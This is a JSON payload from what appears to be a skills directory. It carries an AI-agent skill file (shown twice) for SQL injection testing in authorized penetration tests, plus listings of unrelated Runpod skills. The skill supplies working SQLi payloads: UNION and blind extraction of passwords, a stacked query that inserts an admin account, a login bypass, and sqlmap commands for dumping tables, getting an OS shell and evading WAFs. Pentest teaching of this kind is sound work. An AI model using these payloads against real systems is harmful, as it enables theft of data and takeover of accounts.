[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7A6Z1H0FA29KTSBEQKGPKXG":3,"skill-same:01M7A6Z1H0FA29KTSBEQKGPKXG":84},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":47,"commitSha":48,"skillDirectory":49,"forksCount":14,"repositoryHtmlUrl":50,"repositoryHomepageUrl":6,"ownerHtmlUrl":51,"ownerBlogUrl":6,"ownerDescription":52,"updatedAt":53,"install":54,"resources":67},"01M7A6Z1H0FA29KTSBEQKGPKXG","exploiting-sql-injection-vulnerabilities",null,"Identifies and exploits SQL injection vulnerabilities in web applications during authorized penetration tests using manual techniques and automated tools like sqlmap. The tester detects injection points through error-based, union-based, blind boolean, and time-based blind techniques across all major database engines (MySQL, PostgreSQL, MSSQL, Oracle) to demonstrate data extraction, authentication bypass, and potential remote code execution. Activates for requests involving SQL injection testing, SQLi exploitation, database security assessment, or injection vulnerability verification.","NeelakshSaxena\u002FVayu","NeelakshSaxena","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F87892838?v=4","01M7A3B9YFS6F6N9DD1787DT86","Neelaksh Saxena","01M7A3B9ZKBT09MNMPX2XN69BY",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fexploiting-sql-injection-vulnerabilities\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fexploiting-sql-injection-vulnerabilities\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: exploiting-sql-injection-vulnerabilities\ndescription: 'Identifies and exploits SQL injection vulnerabilities in web applications\n  during authorized penetration tests using manual techniques and automated tools\n  like sqlmap. The tester detects injection points through error-based, union-based,\n  blind boolean, and time-based blind techniques across all major database engines\n  (MySQL, PostgreSQL, MSSQL, Oracle) to demonstrate data extraction, authentication\n  bypass, and potential remote code execution. Activates for requests involving SQL\n  injection testing, SQLi exploitation, database security assessment, or injection\n  vulnerability verification.\n\n  '\ndomain: cybersecurity\nsubdomain: penetration-testing\ntags:\n- SQL-injection\n- sqlmap\n- database-security\n- OWASP-A03\n- injection-testing\nversion: 1.0.0\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- ID.RA-01\n- ID.RA-06\n- GV.OV-02\n- DE.AE-07\nmitre_attack:\n- T1595\n- T1190\n- T1059\n- T1078\n- T1055\n---\n# Exploiting SQL Injection Vulnerabilities\n\n## When to Use\n\n- Testing web application input parameters for SQL injection vulnerabilities during an authorized penetration test\n- Validating that parameterized queries and input sanitization are properly implemented across all database interactions\n- Demonstrating the business impact of a confirmed SQL injection vulnerability by extracting sensitive data\n- Verifying that WAF rules and input validation controls effectively block SQL injection payloads\n- Testing stored procedures, dynamic SQL, and ORM bypass scenarios in enterprise applications\n\n**Do not use** against databases without written authorization, for extracting or exfiltrating actual customer data beyond what is needed for proof of concept, or against production databases where exploitation could corrupt data integrity.\n\n## Prerequisites\n\n- Written authorization specifying the target application and permissible level of exploitation (detection only vs. full exploitation)\n- Burp Suite Professional configured as an intercepting proxy to capture and modify HTTP requests\n- sqlmap installed with current version for automated detection and exploitation\n- Knowledge of the target database engine (MySQL, PostgreSQL, MSSQL, Oracle) or ability to fingerprint it\n- Test accounts at various privilege levels to test injection in authenticated contexts\n\n## Workflow\n\n### Step 1: Injection Point Discovery\n\nIdentify parameters that interact with the database:\n\n- **Map all input vectors**: Catalog every parameter in URLs (GET), request bodies (POST), HTTP headers (Cookie, Referer, User-Agent, X-Forwarded-For), and JSON\u002FXML API payloads\n- **Error-based detection**: Inject a single quote (`'`) into each parameter and observe the response. SQL errors (e.g., \"You have an error in your SQL syntax\", \"unterminated quoted string\", \"ORA-01756\") confirm the parameter reaches the database unsanitized.\n- **Boolean-based detection**: Inject `' AND 1=1--` (true condition) and `' AND 1=2--` (false condition). If the responses differ (different content length, different data returned, different HTTP status), the parameter is injectable.\n- **Time-based detection**: Inject `'; WAITFOR DELAY '0:0:5'--` (MSSQL), `' AND SLEEP(5)--` (MySQL), or `'; SELECT pg_sleep(5)--` (PostgreSQL). A 5-second response delay confirms injection.\n- **Out-of-band detection**: Use payloads that trigger DNS or HTTP requests to a Burp Collaborator domain to confirm injection in scenarios where responses are not directly observable.\n- **Second-order injection**: Test for injection where input is stored and later used in a different SQL query (e.g., username stored at registration, used in a query on the profile page).\n\n### Step 2: Database Fingerprinting\n\nDetermine the database engine and version to select appropriate exploitation techniques:\n\n- **Error-based fingerprinting**: Each database produces distinctive error messages. MySQL includes \"MySQL\", MSSQL mentions \"SQL Server\", PostgreSQL references \"PG\", Oracle contains \"ORA-\".\n- **Function-based fingerprinting**: Inject database-specific functions:\n  - MySQL: `' AND VERSION()--` or `' AND @@version--`\n  - MSSQL: `' AND @@version--` or `' AND DB_NAME()--`\n  - PostgreSQL: `' AND version()--`\n  - Oracle: `' AND banner FROM v$version--`\n- **String concatenation differences**: MySQL uses `CONCAT('a','b')` or `'a' 'b'`, MSSQL uses `'a'+'b'`, PostgreSQL uses `'a'||'b'`, Oracle uses `'a'||'b'`\n- **Comment syntax**: MySQL supports `#` and `-- `, MSSQL uses `-- `, PostgreSQL uses `-- `, Oracle uses `-- `\n\n### Step 3: Manual Exploitation Techniques\n\nExploit confirmed injection points using technique-appropriate methods:\n\n- **UNION-based extraction**: Determine the number of columns with `ORDER BY` incrementing (`' ORDER BY 1--`, `' ORDER BY 2--`, etc. until an error occurs). Then construct UNION SELECT to extract data:\n  ```\n  ' UNION SELECT NULL,username,password,NULL FROM users--\n  ```\n- **Error-based extraction** (MySQL): Use `EXTRACTVALUE` or `UPDATEXML` to force data into error messages:\n  ```\n  ' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT @@version),0x7e))--\n  ```\n- **Blind boolean extraction**: Extract data one character at a time by testing character values:\n  ```\n  ' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'--\n  ```\n- **Time-based blind extraction**: Same character-by-character approach using time delays:\n  ```\n  ' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a',SLEEP(5),0)--\n  ```\n- **Stacked queries** (where supported): Execute additional SQL statements:\n  ```\n  '; INSERT INTO users(username,password,role) VALUES('attacker','password','admin')--\n  ```\n\n### Step 4: Automated Exploitation with sqlmap\n\nUse sqlmap for efficient exploitation of confirmed injection points:\n\n- **Basic detection**: `sqlmap -u \"https:\u002F\u002Ftarget.com\u002Fpage?id=1\" --batch --random-agent` to detect injection and identify the database\n- **Extract databases**: `sqlmap -u \"https:\u002F\u002Ftarget.com\u002Fpage?id=1\" --dbs` to list all databases\n- **Extract tables**: `sqlmap -u \"https:\u002F\u002Ftarget.com\u002Fpage?id=1\" -D \u003Cdatabase> --tables` to list tables\n- **Extract data**: `sqlmap -u \"https:\u002F\u002Ftarget.com\u002Fpage?id=1\" -D \u003Cdatabase> -T users --dump --threads 5` to extract table contents\n- **POST parameters**: `sqlmap -u \"https:\u002F\u002Ftarget.com\u002Flogin\" --data=\"username=test&password=test\" -p username` to test POST parameters\n- **Cookie injection**: `sqlmap -u \"https:\u002F\u002Ftarget.com\u002Fpage\" --cookie=\"session=abc123; id=1*\" --level 2` to test cookie parameters (mark injectable parameter with *)\n- **OS command execution** (if DB user has sufficient privileges): `sqlmap -u \"https:\u002F\u002Ftarget.com\u002Fpage?id=1\" --os-shell` to attempt command execution via xp_cmdshell (MSSQL) or INTO OUTFILE (MySQL)\n- **Tamper scripts**: `sqlmap -u \"https:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=space2comment,between` to bypass WAF filters\n\n### Step 5: Impact Demonstration and Reporting\n\nDocument the full impact of the SQL injection vulnerability:\n\n- **Data extraction evidence**: Capture screenshots or sqlmap output showing extracted database names, table schemas, and sample records (redact actual PII in the report)\n- **Authentication bypass**: Demonstrate login bypass with `admin' OR 1=1--` and document the bypassed authentication mechanism\n- **Privilege escalation**: If the database user has DBA privileges, document what additional capabilities are available (file read\u002Fwrite, command execution)\n- **Lateral movement potential**: Document if the database server has network access to other internal systems that could be reached through OS-level access gained via SQLi\n- **Remediation**: Provide specific code-level fixes showing the vulnerable query and the corrected parameterized version\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **SQL Injection** | A code injection technique that exploits unvalidated user input in SQL queries to manipulate database operations, extract data, or execute administrative operations |\n| **Union-Based SQLi** | Injection technique that appends a UNION SELECT statement to the original query to extract data from other tables in the same response |\n| **Blind SQL Injection** | Injection where the application does not return query results directly; the attacker infers data through boolean responses or time delays |\n| **Parameterized Query** | A prepared SQL statement where user input is passed as parameters rather than concatenated into the query string, preventing injection |\n| **Second-Order Injection** | SQL injection where the malicious payload is stored by the application and executed in a different context or SQL query at a later time |\n| **Stacked Queries** | Executing multiple SQL statements separated by semicolons in a single request, enabling INSERT, UPDATE, or DELETE operations through injection |\n| **WAF Bypass** | Techniques for evading Web Application Firewall rules that block common SQL injection patterns, using encoding, alternate syntax, or fragmentation |\n\n## Tools & Systems\n\n- **sqlmap**: Automated SQL injection detection and exploitation tool supporting 6 injection techniques across 30+ database management systems\n- **Burp Suite Professional**: HTTP proxy for intercepting, modifying, and replaying requests with SQL injection payloads across all parameter types\n- **Havij**: GUI-based SQL injection tool used for rapid automated exploitation when sqlmap is not available\n- **jSQL Injection**: Java-based SQL injection tool with GUI supporting automatic injection, database extraction, and file read\u002Fwrite\n\n## Common Scenarios\n\n### Scenario: SQL Injection in Healthcare Patient Portal\n\n**Context**: A healthcare organization's patient portal allows patients to view their medical records, appointments, and billing information. The application uses a PHP backend with MySQL database. The tester has a valid patient account.\n\n**Approach**:\n1. Map all parameters in the patient portal; identify that the appointment detail page uses `\u002Fappointment?id=4521`\n2. Inject a single quote into the id parameter; receive a MySQL error confirming the parameter is injectable\n3. Use `ORDER BY` to determine the query returns 7 columns\n4. Construct UNION SELECT to extract table names from information_schema, discovering tables: patients, medical_records, billing, admin_users\n5. Extract admin_users table to reveal 5 administrator accounts with MD5-hashed passwords\n6. Demonstrate that patient medical records for all patients are accessible by querying the medical_records table through the injection point\n7. Document that 15,000+ patient records containing PHI (protected health information) are accessible, constituting a HIPAA violation\n\n**Pitfalls**:\n- Running sqlmap with default settings against a production database and causing excessive load or data corruption\n- Extracting and storing actual patient data during the assessment rather than limiting proof to record counts and schema\n- Not testing for second-order injection in stored procedures called by the application\n- Failing to test all parameter types (cookies, headers, JSON body) and only testing URL parameters\n\n## Output Format\n\n```\n## Finding: SQL Injection in Appointment Detail Parameter\n\n**ID**: SQLI-001\n**Severity**: Critical (CVSS 9.8)\n**Affected URL**: GET \u002Fappointment?id=4521\n**Parameter**: id (GET parameter)\n**Database**: MySQL 8.0.32\n**Injection Type**: Error-based, UNION-based\n\n**Description**:\nThe appointment detail page concatenates the 'id' URL parameter directly into\na SQL query without parameterization or input validation. This allows an attacker\nto inject arbitrary SQL statements and extract data from any table in the database.\n\n**Proof of Concept**:\nRequest: GET \u002Fappointment?id=4521' UNION SELECT 1,username,password,4,5,6,7 FROM admin_users-- -\nResponse: Returns admin usernames and MD5 password hashes in the page content.\n\n**Data Accessible**:\n- patients table: 15,247 records (name, DOB, SSN, address, phone)\n- medical_records table: 43,891 records (diagnoses, prescriptions, lab results)\n- admin_users table: 5 accounts with MD5-hashed passwords\n- billing table: 28,563 records (insurance details, payment information)\n\n**Remediation**:\n1. Replace string concatenation with parameterized queries:\n   VULNERABLE:  $query = \"SELECT * FROM appointments WHERE id = \" . $_GET['id'];\n   SECURE:      $stmt = $pdo->prepare(\"SELECT * FROM appointments WHERE id = ?\");\n                $stmt->execute([$_GET['id']]);\n2. Implement input validation to reject non-integer values for the id parameter\n3. Apply least-privilege database permissions (read-only for the web application user)\n4. Deploy a WAF rule to detect and block SQL injection patterns as defense-in-depth\n```\n","# Exploiting SQL Injection Vulnerabilities\n\n## When to Use\n\n- Testing web application input parameters for SQL injection vulnerabilities during an authorized penetration test\n- Validating that parameterized queries and input sanitization are properly implemented across all database interactions\n- Demonstrating the business impact of a confirmed SQL injection vulnerability by extracting sensitive data\n- Verifying that WAF rules and input validation controls effectively block SQL injection payloads\n- Testing stored procedures, dynamic SQL, and ORM bypass scenarios in enterprise applications\n\n**Do not use** against databases without written authorization, for extracting or exfiltrating actual customer data beyond what is needed for proof of concept, or against production databases where exploitation could corrupt data integrity.\n\n## Prerequisites\n\n- Written authorization specifying the target application and permissible level of exploitation (detection only vs. full exploitation)\n- Burp Suite Professional configured as an intercepting proxy to capture and modify HTTP requests\n- sqlmap installed with current version for automated detection and exploitation\n- Knowledge of the target database engine (MySQL, PostgreSQL, MSSQL, Oracle) or ability to fingerprint it\n- Test accounts at various privilege levels to test injection in authenticated contexts\n\n## Workflow\n\n### Step 1: Injection Point Discovery\n\nIdentify parameters that interact with the database:\n\n- **Map all input vectors**: Catalog every parameter in URLs (GET), request bodies (POST), HTTP headers (Cookie, Referer, User-Agent, X-Forwarded-For), and JSON\u002FXML API payloads\n- **Error-based detection**: Inject a single quote (`'`) into each parameter and observe the response. SQL errors (e.g., \"You have an error in your SQL syntax\", \"unterminated quoted string\", \"ORA-01756\") confirm the parameter reaches the database unsanitized.\n- **Boolean-based detection**: Inject `' AND 1=1--` (true condition) and `' AND 1=2--` (false condition). If the responses differ (different content length, different data returned, different HTTP status), the parameter is injectable.\n- **Time-based detection**: Inject `'; WAITFOR DELAY '0:0:5'--` (MSSQL), `' AND SLEEP(5)--` (MySQL), or `'; SELECT pg_sleep(5)--` (PostgreSQL). A 5-second response delay confirms injection.\n- **Out-of-band detection**: Use payloads that trigger DNS or HTTP requests to a Burp Collaborator domain to confirm injection in scenarios where responses are not directly observable.\n- **Second-order injection**: Test for injection where input is stored and later used in a different SQL query (e.g., username stored at registration, used in a query on the profile page).\n\n### Step 2: Database Fingerprinting\n\nDetermine the database engine and version to select appropriate exploitation techniques:\n\n- **Error-based fingerprinting**: Each database produces distinctive error messages. MySQL includes \"MySQL\", MSSQL mentions \"SQL Server\", PostgreSQL references \"PG\", Oracle contains \"ORA-\".\n- **Function-based fingerprinting**: Inject database-specific functions:\n  - MySQL: `' AND VERSION()--` or `' AND @@version--`\n  - MSSQL: `' AND @@version--` or `' AND DB_NAME()--`\n  - PostgreSQL: `' AND version()--`\n  - Oracle: `' AND banner FROM v$version--`\n- **String concatenation differences**: MySQL uses `CONCAT('a','b')` or `'a' 'b'`, MSSQL uses `'a'+'b'`, PostgreSQL uses `'a'||'b'`, Oracle uses `'a'||'b'`\n- **Comment syntax**: MySQL supports `#` and `-- `, MSSQL uses `-- `, PostgreSQL uses `-- `, Oracle uses `-- `\n\n### Step 3: Manual Exploitation Techniques\n\nExploit confirmed injection points using technique-appropriate methods:\n\n- **UNION-based extraction**: Determine the number of columns with `ORDER BY` incrementing (`' ORDER BY 1--`, `' ORDER BY 2--`, etc. until an error occurs). Then construct UNION SELECT to extract data:\n  ```\n  ' UNION SELECT NULL,username,password,NULL FROM users--\n  ```\n- **Error-based extraction** (MySQL): Use `EXTRACTVALUE` or `UPDATEXML` to force data into error messages:\n  ```\n  ' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT @@version),0x7e))--\n  ```\n- **Blind boolean extraction**: Extract data one character at a time by testing character values:\n  ```\n  ' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'--\n  ```\n- **Time-based blind extraction**: Same character-by-character approach using time delays:\n  ```\n  ' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a',SLEEP(5),0)--\n  ```\n- **Stacked queries** (where supported): Execute additional SQL statements:\n  ```\n  '; INSERT INTO users(username,password,role) VALUES('attacker','password','admin')--\n  ```\n\n### Step 4: Automated Exploitation with sqlmap\n\nUse sqlmap for efficient exploitation of confirmed injection points:\n\n- **Basic detection**: `sqlmap -u \"https:\u002F\u002Ftarget.com\u002Fpage?id=1\" --batch --random-agent` to detect injection and identify the database\n- **Extract databases**: `sqlmap -u \"https:\u002F\u002Ftarget.com\u002Fpage?id=1\" --dbs` to list all databases\n- **Extract tables**: `sqlmap -u \"https:\u002F\u002Ftarget.com\u002Fpage?id=1\" -D \u003Cdatabase> --tables` to list tables\n- **Extract data**: `sqlmap -u \"https:\u002F\u002Ftarget.com\u002Fpage?id=1\" -D \u003Cdatabase> -T users --dump --threads 5` to extract table contents\n- **POST parameters**: `sqlmap -u \"https:\u002F\u002Ftarget.com\u002Flogin\" --data=\"username=test&password=test\" -p username` to test POST parameters\n- **Cookie injection**: `sqlmap -u \"https:\u002F\u002Ftarget.com\u002Fpage\" --cookie=\"session=abc123; id=1*\" --level 2` to test cookie parameters (mark injectable parameter with *)\n- **OS command execution** (if DB user has sufficient privileges): `sqlmap -u \"https:\u002F\u002Ftarget.com\u002Fpage?id=1\" --os-shell` to attempt command execution via xp_cmdshell (MSSQL) or INTO OUTFILE (MySQL)\n- **Tamper scripts**: `sqlmap -u \"https:\u002F\u002Ftarget.com\u002Fpage?id=1\" --tamper=space2comment,between` to bypass WAF filters\n\n### Step 5: Impact Demonstration and Reporting\n\nDocument the full impact of the SQL injection vulnerability:\n\n- **Data extraction evidence**: Capture screenshots or sqlmap output showing extracted database names, table schemas, and sample records (redact actual PII in the report)\n- **Authentication bypass**: Demonstrate login bypass with `admin' OR 1=1--` and document the bypassed authentication mechanism\n- **Privilege escalation**: If the database user has DBA privileges, document what additional capabilities are available (file read\u002Fwrite, command execution)\n- **Lateral movement potential**: Document if the database server has network access to other internal systems that could be reached through OS-level access gained via SQLi\n- **Remediation**: Provide specific code-level fixes showing the vulnerable query and the corrected parameterized version\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **SQL Injection** | A code injection technique that exploits unvalidated user input in SQL queries to manipulate database operations, extract data, or execute administrative operations |\n| **Union-Based SQLi** | Injection technique that appends a UNION SELECT statement to the original query to extract data from other tables in the same response |\n| **Blind SQL Injection** | Injection where the application does not return query results directly; the attacker infers data through boolean responses or time delays |\n| **Parameterized Query** | A prepared SQL statement where user input is passed as parameters rather than concatenated into the query string, preventing injection |\n| **Second-Order Injection** | SQL injection where the malicious payload is stored by the application and executed in a different context or SQL query at a later time |\n| **Stacked Queries** | Executing multiple SQL statements separated by semicolons in a single request, enabling INSERT, UPDATE, or DELETE operations through injection |\n| **WAF Bypass** | Techniques for evading Web Application Firewall rules that block common SQL injection patterns, using encoding, alternate syntax, or fragmentation |\n\n## Tools & Systems\n\n- **sqlmap**: Automated SQL injection detection and exploitation tool supporting 6 injection techniques across 30+ database management systems\n- **Burp Suite Professional**: HTTP proxy for intercepting, modifying, and replaying requests with SQL injection payloads across all parameter types\n- **Havij**: GUI-based SQL injection tool used for rapid automated exploitation when sqlmap is not available\n- **jSQL Injection**: Java-based SQL injection tool with GUI supporting automatic injection, database extraction, and file read\u002Fwrite\n\n## Common Scenarios\n\n### Scenario: SQL Injection in Healthcare Patient Portal\n\n**Context**: A healthcare organization's patient portal allows patients to view their medical records, appointments, and billing information. The application uses a PHP backend with MySQL database. The tester has a valid patient account.\n\n**Approach**:\n1. Map all parameters in the patient portal; identify that the appointment detail page uses `\u002Fappointment?id=4521`\n2. Inject a single quote into the id parameter; receive a MySQL error confirming the parameter is injectable\n3. Use `ORDER BY` to determine the query returns 7 columns\n4. Construct UNION SELECT to extract table names from information_schema, discovering tables: patients, medical_records, billing, admin_users\n5. Extract admin_users table to reveal 5 administrator accounts with MD5-hashed passwords\n6. Demonstrate that patient medical records for all patients are accessible by querying the medical_records table through the injection point\n7. Document that 15,000+ patient records containing PHI (protected health information) are accessible, constituting a HIPAA violation\n\n**Pitfalls**:\n- Running sqlmap with default settings against a production database and causing excessive load or data corruption\n- Extracting and storing actual patient data during the assessment rather than limiting proof to record counts and schema\n- Not testing for second-order injection in stored procedures called by the application\n- Failing to test all parameter types (cookies, headers, JSON body) and only testing URL parameters\n\n## Output Format\n\n```\n## Finding: SQL Injection in Appointment Detail Parameter\n\n**ID**: SQLI-001\n**Severity**: Critical (CVSS 9.8)\n**Affected URL**: GET \u002Fappointment?id=4521\n**Parameter**: id (GET parameter)\n**Database**: MySQL 8.0.32\n**Injection Type**: Error-based, UNION-based\n\n**Description**:\nThe appointment detail page concatenates the 'id' URL parameter directly into\na SQL query without parameterization or input validation. This allows an attacker\nto inject arbitrary SQL statements and extract data from any table in the database.\n\n**Proof of Concept**:\nRequest: GET \u002Fappointment?id=4521' UNION SELECT 1,username,password,4,5,6,7 FROM admin_users-- -\nResponse: Returns admin usernames and MD5 password hashes in the page content.\n\n**Data Accessible**:\n- patients table: 15,247 records (name, DOB, SSN, address, phone)\n- medical_records table: 43,891 records (diagnoses, prescriptions, lab results)\n- admin_users table: 5 accounts with MD5-hashed passwords\n- billing table: 28,563 records (insurance details, payment information)\n\n**Remediation**:\n1. Replace string concatenation with parameterized queries:\n   VULNERABLE:  $query = \"SELECT * FROM appointments WHERE id = \" . $_GET['id'];\n   SECURE:      $stmt = $pdo->prepare(\"SELECT * FROM appointments WHERE id = ?\");\n                $stmt->execute([$_GET['id']]);\n2. Implement input validation to reject non-integer values for the id parameter\n3. Apply least-privilege database permissions (read-only for the web application user)\n4. Deploy a WAF rule to detect and block SQL injection patterns as defense-in-depth\n```\n",{"name":5,"tags":25,"author":31,"domain":32,"license":15,"version":33,"nist_csf":34,"subdomain":39,"description":40,"mitre_attack":41},[26,27,28,29,30],"SQL-injection","sqlmap","database-security","OWASP-A03","injection-testing","mahipal","cybersecurity","1.0.0",[35,36,37,38],"ID.RA-01","ID.RA-06","GV.OV-02","DE.AE-07","penetration-testing","Identifies and exploits SQL injection vulnerabilities in web applications during authorized penetration tests using manual techniques and automated tools like sqlmap. The tester detects injection points through error-based, union-based, blind boolean, and time-based blind techniques across all major database engines (MySQL, PostgreSQL, MSSQL, Oracle) to demonstrate data extraction, authentication bypass, and potential remote code execution. Activates for requests involving SQL injection testing, SQLi exploitation, database security assessment, or injection vulnerability verification.\n",[42,43,44,45,46],"T1595","T1190","T1059","T1078","T1055","main","7540bbccf0c1ded6156a467b02c95b61ad62413f",".agents\u002Fskills\u002Fexploiting-sql-injection-vulnerabilities","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena","Currently exploring the intersection of tech","2026-09-11 03:02:31",{"source":8,"skillName":5,"commands":55,"prompt":65,"zipAvailable":66},[56,59,62],{"tool":57,"command":58},"npx","npx skills add NeelakshSaxena\u002FVayu --skill exploiting-sql-injection-vulnerabilities",{"tool":60,"command":61},"bunx","bunx skills add NeelakshSaxena\u002FVayu --skill exploiting-sql-injection-vulnerabilities",{"tool":63,"command":64},"pnpm","pnpm dlx skills add NeelakshSaxena\u002FVayu --skill exploiting-sql-injection-vulnerabilities","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fexploiting-sql-injection-vulnerabilities\u002FSKILL.md",true,[68,72,78],{"path":69,"resourceType":69,"resourceTypeDesc":70,"sizeBytes":71,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":73,"resourceType":74,"resourceTypeDesc":75,"sizeBytes":76,"sourceHtmlUrl":77},"references\u002Fapi-reference.md","REFERENCE","参考文档",1904,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fexploiting-sql-injection-vulnerabilities\u002Freferences\u002Fapi-reference.md",{"path":79,"resourceType":80,"resourceTypeDesc":81,"sizeBytes":82,"sourceHtmlUrl":83},"scripts\u002Fagent.py","SCRIPT","脚本",7520,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fexploiting-sql-injection-vulnerabilities\u002Fscripts\u002Fagent.py",[85,92,99,106,113,120],{"skillNo":86,"name":87,"nameZh":6,"description":88,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":89,"categories":90,"keywords":91,"publishedAt":20},"01M7ACCCVNCFKMA9X6D15X6G98","runpodctl","Runpod CLI for managing GPU\u002FCPU workloads from the terminal — pods, serverless endpoints, templates, network volumes, Hub deploys, models, SSH, and file transfer (send\u002Freceive). Use for terminal\u002FCI\u002Fscripting, Hub browse\u002Fdeploy, SSH setup, `doctor`, or when the Runpod MCP tools are not connected. For structured tool calls in an MCP-enabled session, prefer runpod-mcp.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpodctl\u002FSKILL.md",[],[],{"skillNo":93,"name":94,"nameZh":6,"description":95,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":96,"categories":97,"keywords":98,"publishedAt":20},"01M7ACC63SRHEA5KMCHSMZK2TC","runpod","Start here for any Runpod task — running GPU\u002FCPU pods, deploying serverless endpoints, templates, network volumes, building images, or understanding how Runpod works. Routes to the right skill (runpod-mcp, runpodctl, flash, companion-clis, runpod-usage, runpod-templates, runpod-migrate) and indexes two dozen live-verified end-to-end examples (golden paths) — use it when the lane is unclear, and for any multi-step or provisioning task even when it is not.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod\u002FSKILL.md",[],[],{"skillNo":100,"name":101,"nameZh":6,"description":102,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":103,"categories":104,"keywords":105,"publishedAt":20},"01M7ACC0Q1C89N9BZBV91CTQTF","runpod-usage","How Runpod works and how to work it — pods vs serverless, GPU\u002FVRAM selection, storage, building a container, networking, plus the agentic pod development loop (provision → ssh-exec → set up → poll readiness) and on-pod install hygiene (uv\u002Fapt). Use to answer \"how does X work\", \"which GPU\", \"how do I build a container\", or \"how do I stand up a workload on a pod\". Guidance, not a tool — execute with runpodctl, runpod-mcp, or flash.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-usage\u002FSKILL.md",[],[],{"skillNo":107,"name":108,"nameZh":6,"description":109,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":110,"categories":111,"keywords":112,"publishedAt":20},"01M7ACBRPE345GF5GM5B8P8RRC","runpod-templates","Runpod's official prebuilt pod templates (ComfyUI, PyTorch, and others): what each image ships, which ports and paths it uses, how to pick one, how to pin a version, and what is missing on first boot. Use when a task says \"run \u003CX> on a pod\" and an official template already covers it, instead of building an image — and when a user needs help with or wants to fix something about a Runpod template they are already running (won't boot, can't reach the UI, missing models, wrong CUDA line, broken ComfyUI workflow metadata on imported workflows): start here and route onward. Deploy with runpodctl or runpod-mcp; end-to-end walkthroughs live in the runpod router's golden paths.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-templates\u002FSKILL.md",[],[],{"skillNo":114,"name":115,"nameZh":6,"description":116,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":117,"categories":118,"keywords":119,"publishedAt":20},"01M7ACBJATHKVX1TWES2F44GY8","runpod-migrate","Migrate a codebase from the Runpod GraphQL API or REST v1 to REST v2 — inventory which parts use which API version, rewrite the call sites, flag breaking changes, and verify. Use when someone asks to move to v2, asks what v2 would change, or asks which Runpod API their code is on. For managing infrastructure rather than migrating code, use runpod-mcp or runpodctl.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-migrate\u002FSKILL.md",[],[],{"skillNo":121,"name":122,"nameZh":6,"description":123,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":124,"categories":125,"keywords":126,"publishedAt":20},"01M7ACBC7GHVH6T9YEAPCG2AP8","runpod-mcp","Manage Runpod infrastructure — pods, serverless endpoints, jobs, templates, network volumes, container-registry auth, GPU\u002FCPU catalog, and billing — via the Runpod MCP server's structured tool calls. Use when the Runpod MCP tools (create-pod, list-endpoints, …) are connected in this session, or to connect them (hosted OAuth or local npx). Prefer this over 